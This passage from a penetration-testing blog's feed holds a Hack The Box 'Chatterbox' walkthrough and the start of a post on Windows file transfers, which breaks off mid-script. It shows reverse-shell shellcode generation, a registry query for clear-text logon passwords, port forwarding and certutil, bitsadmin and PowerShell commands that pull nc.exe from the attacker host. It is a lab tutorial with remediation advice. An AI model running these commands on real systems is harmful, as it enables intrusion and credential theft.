&lt;img src="02.png" alt="&amp;ldquo;Nmap Full TCP Scan&amp;rdquo;">&lt;/p>
&lt;p>Running a targeted service scan against both ports reveals the &lt;strong>AChat&lt;/strong> service.
&lt;img src="03.png" alt="&amp;ldquo;Nmap Service Scan&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-searchsploit">Exploitation: Searchsploit&lt;/h2>
&lt;p>A quick search with &lt;strong>searchsploit&lt;/strong> reveals two public exploits for the &lt;strong>AChat&lt;/strong> service.
&lt;img src="04.png" alt="&amp;ldquo;Searchsploit AChat&amp;rdquo;">&lt;/p>
&lt;p>As Python is my language of choice I copy the Python exploit from the local exploit database to investigate and modify it where necessary.
&lt;img src="05.png" alt="&amp;ldquo;Copy the Python Exploit&amp;rdquo;">&lt;/p>
&lt;p>Inspecting the exploits code reveals it is a buffer overflow exploit.
&lt;img src="06.png" alt="&amp;ldquo;Buffer Overflow Exploit&amp;rdquo;">&lt;/p>
&lt;p>The author of the exploit included the &lt;strong>msfvenom&lt;/strong> command used to generate the exploits &lt;strong>shellcode&lt;/strong>. Upon successfully exploiting the buffer overflow the &lt;strong>shellcode&lt;/strong> executes the &lt;strong>calculator&lt;/strong> application as a proof of concept.
&lt;img src="07.png" alt="&amp;ldquo;Initial Exploit Shellcode&amp;rdquo;">&lt;/p>
&lt;p>Further inspection of the exploit code reveals a hard-coded IP address that needs to be changed to the IP address of the victim.
&lt;img src="08.png" alt="&amp;ldquo;Hardcoded IP Address&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-initial-shell">Exploitation: Initial Shell&lt;/h2>
&lt;p>As noted earlier, the shellcode of the exploit executes calculator upon successful exploitation. To gain a shell on the victim the shellcode needs to be replaced with a shellcode that connects back to the attacking machine to create a reverse shell.&lt;/p>
&lt;p>A new shellcode can be generated with following &lt;strong>msfvenom&lt;/strong> command. Note the use of &lt;strong>EXITFUNC=thread&lt;/strong> to make an application crash less likely when the process crashes or exits.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>msfvenom -p windows/shell_reverse_tcp LHOST&lt;span style="color:#f92672">=&lt;/span>10.10.14.17 LPORT&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">443&lt;/span> EXITFUNC&lt;span style="color:#f92672">=&lt;/span>thread -a x86 --platform windows -e x86/unicode_mixed -b &lt;span style="color:#e6db74">&amp;#39;\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&amp;#39;&lt;/span> BufferRegister&lt;span style="color:#f92672">=&lt;/span>EAX -f python
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="09.png" alt="&amp;ldquo;Msfvenom Generate Shellcode&amp;rdquo;">&lt;/p>
&lt;p>Now that the old shellcode is replaced and the IP of the victim is changed an &lt;strong>Ncat&lt;/strong> listener should be prepared on port &lt;strong>443&lt;/strong>.
&lt;img src="10.png" alt="&amp;ldquo;Prepare Ncat Listener&amp;rdquo;">&lt;/p>
&lt;p>Executing the modified exploit with &lt;strong>Python&lt;/strong>.
&lt;img src="11.png" alt="&amp;ldquo;Executing the Exploit&amp;rdquo;">&lt;/p>
&lt;p>The victim connects back to the &lt;strong>Ncat&lt;/strong> listener creating a low privilege reverse shell as the user &lt;strong>Alfred&lt;/strong>.
&lt;img src="12.png" alt="&amp;ldquo;Initial Reverse Shell&amp;rdquo;">&lt;/p>
&lt;h2 id="privilege-escalation">Privilege Escalation&lt;/h2>
&lt;p>Windows privilege escalation techniques are worth a post on their own. For now, what is relevant is that a registry query for &lt;strong>default logon credentials&lt;/strong> reveals a stored clear text password.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-cmd" data-lang="cmd">&lt;span style="display:flex;">&lt;span>reg query &lt;span style="color:#e6db74">&amp;#34;HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&amp;gt;nul | findstr &lt;span style="color:#e6db74">&amp;#34;DefaultUserName DefaultPassword&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="13.png" alt="&amp;ldquo;Reg Query&amp;rdquo;">&lt;/p>
&lt;p>Further investigation with the &lt;strong>netstat&lt;/strong> command line utility reveals the &lt;strong>Windows SMB&lt;/strong> service is listening on port &lt;strong>445&lt;/strong>. Port 445 is not available externally as it did not show up on the &lt;strong>Nmap&lt;/strong> scan results during the enumeration phase. External access to port &lt;strong>445&lt;/strong> is likely blocked by the Windows firewall.
&lt;img src="14.png" alt="&amp;ldquo;Executing Netstat&amp;rdquo;">&lt;/p>
&lt;p>With some clever &lt;strong>port forwarding&lt;/strong> techniques it is possible to make port &lt;strong>445&lt;/strong> available to the attacking machine even with the firewall blocking external access. To create a port forward for port &lt;strong>445&lt;/strong> the &lt;strong>plink.exe&lt;/strong> command line utility can be leveraged. Before the port forward can be executed the &lt;strong>plink.exe&lt;/strong> utility needs to be transferred to the victim machine.&lt;/p>
&lt;p>More about techniques to transfer files to a Windows victim can be found in a previous post &lt;strong>&lt;a href="https://isroot.nl/2018/07/09/post-exploitation-file-transfers-on-windows-the-manual-way/">here&lt;/a>&lt;/strong>.&lt;/p>
&lt;p>Copying and compressing the &lt;strong>plink.exe&lt;/strong> executable and preparing the Python &lt;strong>SimpleHTTPServer&lt;/strong> on port &lt;strong>80&lt;/strong> to serve the &lt;strong>plink.exe&lt;/strong> utility over HTTP.
&lt;img src="15.png" alt="&amp;ldquo;Preparing the Python SimpleHTTPServer&amp;rdquo;">&lt;/p>
&lt;p>Preparing the &lt;strong>OpenSSH&lt;/strong> server on the attacking machine to allow the port forward that will be initiated from the &lt;strong>victim&lt;/strong>.
&lt;img src="16.png" alt="&amp;ldquo;Preparing OpenSSH&amp;rdquo;">&lt;/p>
&lt;p>Now that the Python SimpleHTTPServer is running the &lt;strong>certutil.exe&lt;/strong> command line utility on the victim can be leveraged to download &lt;strong>plink.exe&lt;/strong>.
&lt;img src="17.png" alt="&amp;ldquo;Downloading Plink&amp;rdquo;">&lt;/p>
&lt;p>Now that the &lt;strong>plink.exe&lt;/strong> command line utility is available on the victim a port forward for port &lt;strong>445&lt;/strong> can be initiated. The port forward makes port &lt;strong>445&lt;/strong> available on the attacking machine at the address &lt;strong>127.0.0.1&lt;/strong> also known as the loopback or localhost interface.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-cmd" data-lang="cmd">&lt;span style="display:flex;">&lt;span>plink.exe -l root -R 445:127.0.0.1:445 10.10.14.17
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="18.png" alt="&amp;ldquo;Initiating the Port Forward&amp;rdquo;">&lt;/p>
&lt;p>To verify the port forward was successful the &lt;strong>netstat&lt;/strong> command line utility can be run on the attacking machine. Here port &lt;strong>445&lt;/strong> is in a listening state on the loopback interface confirming that the port forward was successful.
&lt;img src="19.png" alt="&amp;ldquo;Verifying Port Forward&amp;rdquo;">&lt;/p>
&lt;h2 id="exploitation-system">Exploitation: System&lt;/h2>
&lt;p>Now that port &lt;strong>445&lt;/strong> is available on the attacking machine and the firewall is bypassed the &lt;strong>Windows SMB service&lt;/strong> is open to attack. Creating a shell with the discovered clear text password is trivial with the popular &lt;a href="https://github.com/CoreSecurity/impacket/">ImPacket&lt;/a> &lt;strong>Psexec&lt;/strong> Python script from &lt;a href="https://www.coresecurity.com/">Core Security&lt;/a>.
&lt;img src="20.png" alt="&amp;ldquo;Executing ImPacket Psexec&amp;rdquo;">&lt;/p>
&lt;h2 id="remediation">Remediation&lt;/h2>
&lt;p>The latest &lt;strong>AChat&lt;/strong> software is vulnerable to a &lt;strong>buffer overflow&lt;/strong> that leads to a low privilege shell. The shell exposes the &lt;strong>Windows SMB service&lt;/strong> running on the victim. After some clever use of port forwarding a system shell can be initiated over &lt;strong>SMB&lt;/strong> with the recovered clear text password gaining system access and fully compromising the machine.&lt;/p>
&lt;p>The Chatterbox compromise serves as a good example of why machine hardening and outbound traffic filtering are important aspects of system security that should not be overlooked.&lt;/p>
&lt;p>The following configuration changes should be considered to mitigate risk.&lt;/p>
&lt;ul>
&lt;li>Limit the use and storage of clear text credentials when possible&lt;/li>
&lt;li>Access to the &lt;strong>AChat&lt;/strong> service should be disabled and alternatives should be researched as there is no patch available for the discovered vulnerability&lt;/li>
&lt;li>Consider disabling the &lt;strong>Windows SMB service&lt;/strong> and other unneeded services to reduce the attack surface of the machine&lt;/li>
&lt;li>Consider configuring the firewall to block outgoing traffic for applications that do not need network access&lt;/li>
&lt;/ul>
&lt;p>Furthermore, the following policy changes should be considered.&lt;/p>
&lt;ul>
&lt;li>Implement strong password policy guidelines and enforce those guidelines where possible&lt;/li>
&lt;li>Develop and implement a system hardening policy to reduce the attack surface of new and existing machines&lt;/li>
&lt;/ul></description></item><item><title>Post Exploitation File Transfers on Windows the Manual Way</title><link>https://isroot.nl/2018/07/09/post-exploitation-file-transfers-on-windows-the-manual-way/</link><pubDate>Mon, 09 Jul 2018 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2018/07/09/post-exploitation-file-transfers-on-windows-the-manual-way/</guid><description>&lt;p>No Metasploit! you told yourself, as you accepted the challenge of creating an exploit manually. Taking your time carefully preparing the exploit, will it work, will I get a shell? You run the exploit and are greeted with a reverse &lt;strong>cmd.exe&lt;/strong> shell on the Windows victim, your excitement soon fades however as the post exploitation phase begins you need a way to transfer files. Fear not as there is a multitude of ways to transfer files to and from a Windows victim without advanced tools such as Metasploit.&lt;/p>
&lt;p>The victim machine for this how-to is &lt;strong>Jerry&lt;/strong> a machine from the &lt;a href="https://www.hackthebox.eu/">Hack The Box&lt;/a> pen-testing labs. &lt;strong>Jerry&lt;/strong> is a fairly up to date Windows Server 2012 R2 machine. For the purpose of this how-to the machine is already exploited and a simple reverse shell is established from the victim to the attacker.
&lt;img src="01.png" alt="&amp;ldquo;Ncat Initial Shell&amp;rdquo;">&lt;/p>
&lt;p>For demonstration purposes the &lt;strong>nc.exe&lt;/strong> executable will be used. &lt;strong>Nc.exe&lt;/strong> is already compressed and copied into the &lt;strong>~/how-to&lt;/strong> directory on the attacking machine. The &lt;strong>~/how-to&lt;/strong> directory will serve as the root directory for several tools that will be used to transfer files to and from the victim machine.
&lt;img src="02.png" alt="&amp;ldquo;Prepared nc.exe File&amp;rdquo;">&lt;/p>
&lt;h2 id="http">HTTP&lt;/h2>
&lt;p>The simplest way to transfer files to a Windows victim is over HTTP because several default Windows utilities can be leveraged download files over this protocol.&lt;/p>
&lt;p>Kali has the Python &lt;strong>SimpleHTTPServer&lt;/strong> module installed by default. This Python module can be leveraged to host a simple HTTP server that listens for incoming connections on any port of your choosing. Generally, port &lt;strong>80&lt;/strong> and &lt;strong>443&lt;/strong> are good choices as they aren&amp;rsquo;t usually blocked by edge firewalls.&lt;/p>
&lt;p>Here the Python &lt;strong>SimpleHTTPServer&lt;/strong> module is prepared and listening on port &lt;strong>80&lt;/strong> making all files within the &lt;strong>~/how-to&lt;/strong> directory available over HTTP.
&lt;img src="03.png" alt="&amp;ldquo;Python SimpleHTTPServer&amp;rdquo;">&lt;/p>
&lt;p>Let’s see how several default Windows utilities can be leveraged to download files now that the HTTP server is running.&lt;/p>
&lt;h3 id="http-and-powershell">HTTP and PowerShell&lt;/h3>
&lt;p>&lt;strong>PowerShell&lt;/strong>, installed by default on most modern versions of Windows can be leveraged to download files over HTTP in several ways. Not all commands work on all Windows versions as some commands depend on newer versions of &lt;strong>PowerShell&lt;/strong> and the available PowerShell modules on the victim.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-PowerShell" data-lang="PowerShell">&lt;span style="display:flex;">&lt;span>powershell.exe -c (new-object System.Net.WebClient).DownloadFile(&lt;span style="color:#e6db74">&amp;#39;http://10.10.14.17/nc.exe&amp;#39;&lt;/span>,&lt;span style="color:#e6db74">&amp;#39;c:\temp\nc.exe&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="04.png" alt="&amp;ldquo;PowerShell System.Net.Web.Client Method&amp;rdquo;">&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-PowerShell" data-lang="PowerShell">&lt;span style="display:flex;">&lt;span>powershell.exe -c (Start-BitsTransfer -Source &lt;span style="color:#e6db74">&amp;#34;http://10.10.14.17/nc.exe -Destination C:\temp\nc.exe&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="05.png" alt="&amp;ldquo;PowerShell BITS Module Method&amp;rdquo;">&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-PowerShell" data-lang="PowerShell">&lt;span style="display:flex;">&lt;span>powershell.exe wget &lt;span style="color:#e6db74">&amp;#34;http://10.10.14.17/nc.exe&amp;#34;&lt;/span> -outfile &lt;span style="color:#e6db74">&amp;#34;c:\temp\nc.exe&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="06.png" alt="&amp;ldquo;PowerShell Wget Method&amp;rdquo;">&lt;/p>
&lt;h3 id="http-and-certutil">HTTP and Certutil&lt;/h3>
&lt;p>&lt;strong>Certutil.exe&lt;/strong> a built-in command line utility to manage certificates and certificate authorities on Windows can be leveraged to download files over HTTP in the following way.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>certutil.exe -urlcache -split -f &lt;span style="color:#e6db74">&amp;#34;http://10.10.14.17/nc.exe&amp;#34;&lt;/span> c:&lt;span style="color:#ae81ff">\t&lt;/span>emp&lt;span style="color:#ae81ff">\n&lt;/span>c.exe
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="07.png" alt="&amp;ldquo;Certutil Method&amp;rdquo;">&lt;/p>
&lt;h3 id="http-and-bitsadmin">HTTP and Bitsadmin&lt;/h3>
&lt;p>The Background Intelligent Transfer Service, &lt;strong>BITS&lt;/strong> for short and the built-in &lt;strong>bitsadmin.exe&lt;/strong> command line utility can also be leveraged to download files over HTTP in the following way.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>bitsadmin /transfer job /download /priority high http://10.10.14.17/nc.exe c:&lt;span style="color:#ae81ff">\t&lt;/span>emp&lt;span style="color:#ae81ff">\n&lt;/span>c.exe
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="08.png" alt="&amp;ldquo;Bitsadmin Method&amp;rdquo;">&lt;/p>
&lt;h3 id="http-and-vbscript">HTTP and VBScript&lt;/h3>
&lt;p>VBScript is a scripting language available on most versions of Windows and can also be leveraged to download files over HTTP. The following VBScript can be transferred to a victim by copy and pasting it between terminals on the attacker and victim machines.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-vb" data-lang="vb">&lt;span style="display:flex;">&lt;span>echo strUrl &lt;span style="color:#f92672">=&lt;/span> WScript.Arguments.Item(0) &lt;span style="color:#f92672">&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo StrFile &lt;span style="color:#f92672">=&lt;/span> WScript.Arguments.Item(1) &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#66d9ef">Const&lt;/span> HTTPREQUEST_PROXYSETTING_DEFAULT &lt;span style="color:#f92672">=&lt;/span> 0 &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#66d9ef">Const&lt;/span> HTTPREQUEST_PROXYSETTING_PRECONFIG &lt;span style="color:#f92672">=&lt;/span> 0 &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#66d9ef">Const&lt;/span> HTTPREQUEST_PROXYSETTING_DIRECT &lt;span style="color:#f92672">=&lt;/span> 1 &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#66d9ef">Const&lt;/span> HTTPREQUEST_PROXYSETTING_PROXY &lt;span style="color:#f92672">=&lt;/span> 2 &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#66d9ef">Dim&lt;/span> http, varByteArray, strData, strBuffer, lngCounter, fs, ts &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo Err.Clear &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#66d9ef">Set&lt;/span> http &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">Nothing&lt;/span> &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
